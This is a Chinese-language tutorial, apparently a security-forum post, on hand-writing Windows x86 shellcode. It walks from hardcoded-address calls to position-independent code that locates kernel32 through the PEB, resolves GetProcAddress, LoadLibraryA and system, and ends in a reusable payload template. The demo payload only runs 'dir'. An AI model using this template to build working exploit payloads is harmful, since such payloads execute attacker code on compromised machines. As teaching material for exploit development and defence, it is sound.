概述:

在学习二进制安全过程中,Shellcode的学习是必须的,一个二进制的漏洞触发后的利用,Shellcode该怎么样编写是个问题,本文介绍Windows下的Shellcode详细编写方法。

Shellcode编写方法

二进制安全的学习是很艰难的,其中Shellcode的编写也是一个难点。对于入门并开始尝试编写Shellcode的朋友来说,我们在编写过程中可以发现Shellcode的编写是有一定的规律可寻的。因为Shellcode在C语言内联汇编中要方便调试一些(纯属个人意见),所以下文就都直接在C语言中进行,编译器为VC++6.0。

我们首先来看下下面这一段代码

#include “windows.h”

int main ()
{
    system(“dir”);
    return 0;
}

我们把这段代码转化为汇编代码,但前提条件是我们需要知道这个system函数的内存地址(由于ASLR的原因,函数的内存地址在每台机器上可能会不一样)。下面是获取DLL内存地址的代码,以获取DLL中导出函数“system”为例子。

#include "windows.h"
#include "stdio.h"

int main()
{
    HINSTANCE LibHandle = LoadLibrary("msvcrt.dll"); //要获取DLL的内存地址
    printf("msvcrt Address = 0x%x \n",LibHandle);
    LPTSTR getaddr = (LPTSTR)GetProcAddress(LibHandle, "system"); //获取DLL中导出函数地址
    printf(“system Address = 0x%x \n", getaddr);

    getchar();
    return 0;
}


现在,在我们获取了函数地址后,我们来把之前的代码转换为汇编代码。
对于字符串,我们需要先把它们转换为十六进制,这样才能顺利的入栈。
首先开头呢,一般是保存栈指针,以免出现以后恢复寄存器的混乱

push ebp
mov ebp,esp

当esp保存好了之后,那么我们就需要把用到的寄存器清零,清零的方法有几种,最常用的就是xor异或操作,因为这个指令一般不会产生坏字符(如/x00),在清零后我们把寄存器入栈。因为这里的测试代码命令只有3个字符,所以只需要压入一个寄存器,如果参数多的话就需要压入多个寄存器,本文使用的是32位寄存器,所以一个寄存器代表4个字节,即使我们的命令参数不够或者多出1个或者少于1个字符,我们都需要以4的倍数压入寄存器。

xor  ebx,ebx
push ebx

System函数只有一个参数,那就是系统命令,这里我们用的是“dir”命令来做演示,“dir”换做十六进制是646972,把它们依次入栈,因为压入栈的参数是4字节的,所以我们依次压入,在栈指针[ebp-04h]的位置开始。

mov  byte ptr [ebp-04h],64h
mov  byte ptr [ebp-03h],69h
mov  byte ptr [ebp-02h],72h

在入栈后,我们需要把参数地址给拿出来,由于栈是从上往下的压入,所以我们直接用[ebp-04h]就是栈所指向的参数入口地址,用伪指令lea取出(一般取地址都是用lea指令,其他指令也行),随后调用system的内存地址并执行,最后恢复堆栈平衡,前面入栈了多少字节,那么这里就需要恢复多少字节。

lea  ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f
call ebx

完整的代码如下

void main()
{
    _asm
    {
        //system("dir"); //64 69 72
        push ebp
        mov  ebp,esp
        xor  ebx,ebx
        push ebx
        mov  byte ptr [ebp-04h],64h
        mov  byte ptr [ebp-03h],69h
        mov  byte ptr [ebp-02h],72h
        lea  ebx, [ebp-04h]
        push ebx
        mov ebx,0x74deb16f ;system函数地址
        call ebx    

        ;恢复堆栈
        add esp,0x4  ;恢复esp
        pop ebx
        pop ebp
    }
}


那么现在我们再来看这个例子

#include <windows.h>

void main()
{
    LoadLibrary("msvcrt.dll");
}

我们按照上文所述方法,一样的来做一遍,这里因为字符串"msvcrt.dll"长度为10,按照4的倍数推算应该为12个完整的字节数,所以我们要压入3个寄存器,然后取出LoadLibraryA函数地址并执行。

_asm{
      //LoadLibrary("msvcrt.dll");
      push ebp
      mov ebp,esp
      push eax
      push eax
      push eax
      mov  byte ptr [ebp-0ch],6dh
      mov  byte ptr [ebp-0bh],73h
      mov  byte ptr [ebp-0ah],76h
      mov  byte ptr [ebp-09h],63h
      mov  byte ptr [ebp-08h],72h
      mov  byte ptr [ebp-07h],74h
      mov  byte ptr [ebp-06h],2eh
      mov  byte ptr [ebp-05h],64h
      mov  byte ptr [ebp-04h],6ch
      mov  byte ptr [ebp-03h],6ch
      lea  eax,[ebp-0ch]
      push eax
      mov  eax,0x763d49d7 //LoadLibararyA的内存地址
      call eax
}

我们从上文可以看出,只要我们知道函数的地址,那么写出Shellcode就很简单了,大部分的代码都是一样的,照着流程走一遍就行了。
我们现在可以知道,具体的通用格式已经有了轮廓

push ebp 
mov ebp,esp                  ;保存栈指针
xor eax,eax                  ;清零寄存器
push eax                     ;压入通用寄存器
mov byte ptr[ebp-xxxh],xxxh  ;参数入栈
lea eax,[ebp-xxxh]           ;取参数地址入口
push eax
mov eax ,0XFFFFFFFF          ;需要调用的函数地址
call eax                     ;执行函数

;平衡堆栈
add esp,0xffffff
pop eax                      ;恢复寄存器 
pop ebp

但是,这个写法适用于小型的Shellcode,如果一个函数有很多的参数,那不是要写很长很长?所以如果我们要写一个长的Shellcode,我们就需要换一种写法。

我们还是以上面这个例子为例,不过现在我们需要对上面的代码进行改写一下,开头还是不变,需开辟4个字节的栈空间,用sub esp,0x4语句,如果需要更大的空间就需要sub esp,0xffffffff,所有的操作都用寄存器来进行,还有一个重要的一点就是,如果在Windows下编写的话,因为系统是小端格式的,所以我们需要反转立即数,“dir”本来的十六进制数为646972,现在我需要进行反转操作,变为726964,因为必须补齐为4字节,所以我们只需在前面添0就行了,为0x00726964;目前因为我们是对寄存器进行操作,所以还需要把byte单字节改为4字节的dword,其余的都没有什么变化,就是压缩了一下代码量,具体代码如下

push ebp
mov  ebp,esp
sub  esp,0x4
xor  ebx,ebx
mov  ebx,0x00726964
mov  dword ptr[ebp-04h],ebx
lea  ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f
call ebx

;平衡堆栈
add esp,0x4
pop ebx
pop ebp

如果改为其他的函数,也是一样的写法,大同小异。这个时候,通用的Shellcode模版写法我们可以改为

push ebp 
mov ebp,esp                  ;保存栈指针
sub esp,0xffffffff           ;开辟栈空间
xor eax,eax                  ;清零寄存器
push eax                     ;压入通用寄存器
mov dword ptr[ebp-xxxh],eax  ;参数入栈
lea eax,[ebp-xxxh]           ;取参数地址入口
push eax
mov eax ,0XFFFFFFFF          ;需要调用的函数地址
call eax                     ;执行函数

;平衡堆栈
add esp,0xffffffff
pop eax                      ;恢复寄存器 
pop ebp

Shellcode的生成

在我们写好了Shellcode后,需要做的就是提取机器码了,机器码才是我们真正的Shellcode。提取的方法就有很多了,这里呢就以VC6.0编译器来做个示范,进入调试模式,就可以看到程序的机器码了。如图,我们直接抄就行了。

最后提取的Shellcode如下

shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\xC4\x04\x5B\x5D”
//#include "windows.h"

void main(){
    unsigned char shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\xC4\x04\x5B\x5D";
    ((void (*)())&shellcode)(); // 执行shellcode  
}

这段程序执行可能会存在问题,因为没有加上退出函数。所以,我们还必须加上退出函数或者返回函数,这里用ret,ret的机器码为\xC3。

shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\xC4\x04\x5B\x5D\xC3";

测试后完美运行

独立Shellcode编写

当然,我们编写Shellcode不是只为了在本机上运行,而是要通用于任何机器。所以,我们需要不依赖外部查找函数地址,那么,我们需要一段代码能够自己定位任意函数地址。

我们要调用一个函数,必须要知道其地址,而我们在调用函数时又必须要载入链接库,那么我们就必须要知道LoadLibrary()函数地址,获取地址需要函数GetProcAddress(),而GetProcAddress()函数在“kernel32.dll”的里面。所以,我们在寻找地址时,需要用到这么几个关键字“kernel32.dll”、”GetProcAddress()”、”LoadLibrary()”。

正如我们在前面讲的的那样,为了生成可靠的shellcode代码,我们需要遵循一些步骤。我们知道要调用什么函数,但是首先,我们必须找到这些函数,在前面已经讨论了怎么调用函数地址的步骤。

必要的步骤如下:

1.找到kernel32.dll被加载到内存中
2.找到其导出表
3.找到由kernel32.dll导出的GetProcAddress函数
4.使用GetProcAddress查找LoadLibrary函数的地址
5.使用LoadLibrary来加载动态链接库
6.在动态链接库中找到函数的地址
7.调用函数
8.查找ExitProcess函数的地址
9.调用ExitProcess函数

以上就是一个完整的Shellcode编写过程,具体为什么要这么写,网上也有许多的资料。这里主要是利用PEB结构来查找关键dll文件的,这个和PELoader有关系,这里就不再详细介绍了。我们还是用最开始的那个例子,system("dir")。

寻找kernel32.dll的基地址

正如你在下面看到的,我们可以利用PEB结构找到kernel32.dll。使用以下代码将dll库加载到内存中

xor ecx, ecx
mov eax, fs:[ecx + 0x30]        ; EAX = PEB
mov eax, [eax + 0xc]            ; EAX = PEB->Ldr
mov esi, [eax + 0x14]           ; ESI = PEB->Ldr.InMemOrder
lodsd                           ; EAX = Second module
xchg eax, esi                   ; EAX = ESI, ESI = EAX
lodsd                           ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]           ; EBX = Base address

查找kernel32.dll的导出表

我们在内存中找到kernel32.dll。现在我们需要解析这个PE文件并找到导出表。

mov edx, [ebx + 0x3c]           ; EDX = DOS->e_lfanew
add edx, ebx                    ; EDX = PE Header
mov edx, [edx + 0x78]           ; EDX = Offset export table
add edx, ebx                    ; EDX = Export table
mov esi, [edx + 0x20]           ; ESI = Offset names table
add esi, ebx                    ; ESI = Names table
xor ecx, ecx                    ; EXC = 0

查找GetProcAddress函数名

我们现在在“AddressOfNames”上,一个指针数组(kernel32.dll的地址被加载到内存中。因此,每个4字节将表示一个指向函数名的指针。我们可以通过循环查找完整的函数名,函数名序号(GetProcAddress函数的“number”)如下:

;循环查找GetProcAddress函数
Get_Function:
        inc ecx                                          ; Increment the ordinal
        lodsd                                            ; Get name offset
        add eax, ebx                                     ; Get function name
        cmp dword ptr[eax], 0x50746547                   ; GetP
        jnz Get_Function
        cmp dword ptr[eax + 0x4], 0x41636f72             ; rocA
        jnz Get_Function
        cmp dword ptr[eax + 0x8], 0x65726464             ; ddre
        jnz Get_Function

寻找GetProcAddress 函数

此时,我们只找到了GetProcAddress函数的序号,但是我们可以使用它来查找其他函数的实际地址:

mov esi, [edx + 0x24]              ; ESI = Offset ordinals
add esi, ebx                       ; ESI = Ordinals table
mov cx, [esi + ecx * 2]            ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]              ; ESI = Offset address table
add esi, ebx                       ; ESI = Address table
mov edx, [esi + ecx * 4]           ; EDX = Pointer(offset)
add edx, ebx                       ; EDX = GetProcAddress

寻找LoadLibary函数地址

利用GetProcAddress()函数,我们可以找到LoadLibraryA()函数的地址。在实际中是没有LoadLibrary()这个地址的,LoadLibraryA()就等价于LoadLibrary()。

xor ecx, ecx            ; ECX = 0
push ebx                ; Kernel32 base address
push edx                ; GetProcAddress
push ecx                ; 0
push 0x41797261         ; aryA
push 0x7262694c         ; Libr
push 0x64616f4c         ; Load
push esp                ; “LoadLibraryA”
push ebx                ; Kernel32 base address
call edx                ; GetProcAddress(LL)

以上,就是整个Shellcode编写框架的核心了,有了GetProcAddress()函数,我们就可以寻找任何函数的地址了。

加载msvcrt.dll库

我们之前找到了LoadLibrary函数地址,现在我们将使用它来加载到内存中“msvcrt.dll”。包含我们的system函数的库。
这里有个问题是 “msvcrt.dll”的字符串长度为10个字符,不足12个字节,所以在剩余的2个字节我们用低位寄存器cx来存储(用什么寄存器不重要),cx是ecx寄存器的一半,ecx是32位寄存器,ecx存储高16位数据,cx存储低16位数据,这样可以避免产生坏字符。

add esp, 0xc                ; pop “LoadLibraryA”
pop  ecx                    ; ECX = 0
push eax                    ; EAX = LoadLibraryA
push ecx                    ; 6d737663   72742e64 6c6c 
mov  cx, 0x6c6c             ; ll
push ecx
push 0x642e7472             ; rt.d
push 0x6376736d             ; msvc
push esp                    ; “msvcrt.dll”
call eax                    ; LoadLibrary(“msvcrt.dll”)

在编写过程中,我们可以把msvcrt.dll修改为任意DLL文件,但要注意字节数。

得到system函数地址

我们加载了msvcrt.dll库,现在我们想调用GetProcAddress来获取system函数的地址。
这里呢,还是为了不产生坏字符,所以把字符串补够了4字节,然后删除。当然,我们也可以用低16位寄存器来存储,像上文那样。
在这个地方,因为上面我们用了16 位寄存器,所以我们下面恢复的字节就要比完整的32位寄存器字节数少一半。

add esp, 0x10                   ; Clean stack
mov edx, [esp + 0x4]            ; EDX = GetProcAddress
xor ecx, ecx                    ; ECX = 0
push ecx                        ;73797374 656d
mov  ecx,0x61626d65             ;emba
push ecx
sub dword ptr[esp + 0x3], 0x61  ; Remove “a”
sub dword ptr[esp + 0x2], 0x62  ; Remove “b”
push 0x74737973                 ; syst
push esp                        ; system
push eax                        ; msvcrt.dll address
call edx                        ; GetProc(system)

调用system函数

这个地方直接就可用前文所写的代码了,直接套用进框架就行,前提是要确保堆栈平衡。

add esp, 0x10                   ; Cleanup stack
push ebp
mov  ebp,esp
sub  esp,0x4                    ; 准备空间
xor  esi,esi
mov  esi,0x00726964             ; dir
mov  dword ptr[ebp-04h],esi
lea  esi, [ebp-04h]
push esi
call eax                        ; system("dir")

add esp, 0x8                    ; Clean stack
pop esi

得到ExitProcess函数地址

我们完成了整个函数的执行,为了不爆出错误,我们必须完美的退出这个程序,所以我们需要在kernel32.dll中找到ExitProcess函数。

;退出程序
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove “a”
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)

调用ExitProcess函数

最后,我们调用ExitProcess函数:“ExitProcess(0)”。

xor ecx, ecx                   ; ECX = 0
push ecx                       ; Return code = 0
call eax                       ; ExitProcess

完整Shellcode

现在我们只需要把所有的代码段加在一起,最后的shellcode完整代码如下:

void main()
{
    _asm
    {
        xor ecx, ecx
        mov eax, fs:[ecx + 0x30] ; EAX = PEB
        mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
        mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
        lodsd                    ; EAX = Second module
        xchg eax, esi            ; EAX = ESI, ESI = EAX
        lodsd                    ; EAX = Third(kernel32)
        mov ebx, [eax + 0x10]    ; EBX = Base address
        mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
        add edx, ebx             ; EDX = PE Header
        mov edx, [edx + 0x78]    ; EDX = Offset export table
        add edx, ebx             ; EDX = Export table
        mov esi, [edx + 0x20]    ; ESI = Offset namestable
        add esi, ebx             ; ESI = Names table
        xor ecx, ecx             ; EXC = 0

    Get_Function:
        inc ecx                              ; Increment the ordinal
        lodsd                                ; Get name offset
        add eax, ebx                         ; Get function name
        cmp dword ptr[eax], 0x50746547       ; GetP
        jnz Get_Function
        cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
        jnz Get_Function
        cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
        jnz Get_Function
        mov esi, [edx + 0x24]                ; ESI = Offset ordinals
        add esi, ebx                         ; ESI = Ordinals table
        mov cx, [esi + ecx * 2]              ; Number of function
        dec ecx
        mov esi, [edx + 0x1c]                ; Offset address table
        add esi, ebx                         ; ESI = Address table
        mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
        add edx, ebx                         ; EDX = GetProcAddress

        xor ecx, ecx    ; ECX = 0
        push ebx        ; Kernel32 base address
        push edx        ; GetProcAddress
        push ecx        ; 0
        push 0x41797261 ; aryA
        push 0x7262694c ; Libr
        push 0x64616f4c ; Load
        push esp        ; "LoadLibrary"
        push ebx        ; Kernel32 base address
        call edx        ; GetProcAddress(LL)

        add esp, 0xc    ; pop "LoadLibrary"
        pop ecx         ; ECX = 0
        push eax        ; EAX = LoadLibrary
        push ecx
        mov cx, 0x6c6c  ; ll
        push ecx
        push 0x642e7472 ; rt.d
        push 0x6376736d ; msvc
        push esp        ; "msvcrt.dll"
        call eax        ; LoadLibrary("msvcrt.dll")

        ;system内存地址
        add esp, 0x10                       ; Clean stack
        mov edx, [esp + 0x4]                ; EDX = GetProcAddress
        xor ecx, ecx                        ; ECX = 0
        push ecx                            ; 73797374 656d
        mov  ecx,0x61626d65                 ; emba
        push ecx
        sub dword ptr[esp + 0x3], 0x61      ; Remove “a”
        sub dword ptr[esp + 0x2], 0x62      ; Remove “b”
        push 0x74737973                     ; syst
        push esp                            ; system
        push eax                            ; msvcrt.dll address
        call edx                            ; GetProc(system)

        add esp, 0x10         ; Cleanup stack
        ;执行核心程序
        push ebp
        mov  ebp,esp
        sub  esp,0x4
        xor  esi,esi
        mov  esi,0x00726964             ;dir
        mov  dword ptr[ebp-04h],esi
        lea  esi, [ebp-04h]
        push esi
        call eax    

        ;堆栈平衡
        add esp,0x8  ;恢复esp
        pop esi

        ;退出程序
        pop edx                         ; GetProcAddress
        pop ebx                         ; kernel32.dll base address
        mov ecx, 0x61737365             ; essa
        push ecx
        sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
        push 0x636f7250                 ; Proc
        push 0x74697845                 ; Exit
        push esp
        push ebx                        ; kernel32.dll base address
        call edx                        ; GetProc(Exec)
        xor ecx, ecx                    ; ECX = 0
        push ecx                        ; Return code = 0
        call eax                        ; ExitProcess
    }
}

具体的Shellcode提取就不做了,下面就是整个独立Shellcode的编写框架

xor ecx, ecx
  mov eax, fs:[ecx + 0x30] ; EAX = PEB
  mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
  mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
  lodsd                    ; EAX = Second module
  xchg eax, esi            ; EAX = ESI, ESI = EAX
  lodsd                    ; EAX = Third(kernel32)
  mov ebx, [eax + 0x10]    ; EBX = Base address
  mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
  add edx, ebx             ; EDX = PE Header
  mov edx, [edx + 0x78]    ; EDX = Offset export table
  add edx, ebx             ; EDX = Export table
  mov esi, [edx + 0x20]    ; ESI = Offset namestable
  add esi, ebx             ; ESI = Names table
  xor ecx, ecx             ; EXC = 0

Get_Function:
  inc ecx                              ; Increment the ordinal
  lodsd                                ; Get name offset
  add eax, ebx                         ; Get function name
  cmp dword ptr[eax], 0x50746547       ; GetP
  jnz Get_Function
  cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
  jnz Get_Function
  cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
  jnz Get_Function
  mov esi, [edx + 0x24]                ; ESI = Offset ordinals
  add esi, ebx                         ; ESI = Ordinals table
  mov cx, [esi + ecx * 2]              ; Number of function
  dec ecx
  mov esi, [edx + 0x1c]                ; Offset address table
  add esi, ebx                         ; ESI = Address table
  mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
  add edx, ebx                         ; EDX = GetProcAddress

  xor ecx, ecx    ; ECX = 0
  push ebx        ; Kernel32 base address
  push edx        ; GetProcAddress
  push ecx        ; 0
  push 0x41797261 ; aryA
  push 0x7262694c ; Libr
  push 0x64616f4c ; Load
  push esp        ; "LoadLibrary"
  push ebx        ; Kernel32 base address
  call edx        ; GetProcAddress(LL)

  add esp, 0xc    ; pop "LoadLibrary"
  pop ecx         ; ECX = 0
  push eax        ; EAX = LoadLibrary
  ;DLL文件字符串
  ;push 0xffffffff
  push esp        ; "xxx.dll"
  call eax        ; LoadLibrary("msvcrt.dll")

  ;查找函数内存地址
  add esp, 0xff                     ; Clean stack
  mov edx, [esp + 0x4]              ; EDX = GetProcAddress
  ;函数字符串
  ;push 0xffffffff
  push esp                              ; xxx函数
  push eax                              ; xxx.dll address
  call edx                              ; GetProc(xxx函数)

  add esp, 0xff         ; Cleanup stack
  ;执行核心程序
  ;需执行的Shellcode利用程序

  ;堆栈平衡
  add esp,0xff  ;恢复esp

  ;退出程序
  pop edx                         ; GetProcAddress
  pop ebx                         ; kernel32.dll base address
  mov ecx, 0x61737365             ; essa
  push ecx
  sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
  push 0x636f7250                 ; Proc
  push 0x74697845                 ; Exit
  push esp
  push ebx                        ; kernel32.dll base address
  call edx                        ; GetProc(Exec)
  xor ecx, ecx                    ; ECX = 0
  push ecx                        ; Return code = 0
  call eax                        ; ExitProcess

结语

编写Shellcode只要找到方法,其实并不是很难,本文所讲也只是皮毛而已。一般一个独立性的Shellcode包含了很多,为了减小体积本文中的编写方法是可以压缩的。我们有了Shellcode独立的编写能力后,可以完成很多有趣的漏洞利用代码和独立的Shellcode的编写,或者改写他人优秀的Shellcode代码。

Linux下的Shellcode编写本文就不说了,在先知已经有朋友写过了,大体的编写思路都是一样的。
Linux下shellcode的编写:
https://xianzhi.aliyun.com/forum/topic/2052

以下推荐两个优秀的Shellcode工具,可转换多平台Shellcode,生成的Shellcode可能会有错误,自己调整下就行了。
https://github.com/merrychap/shellen
https://github.com/NytroRST/ShellcodeCompiler

参考链接:
https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/

源链接

Hacking more

...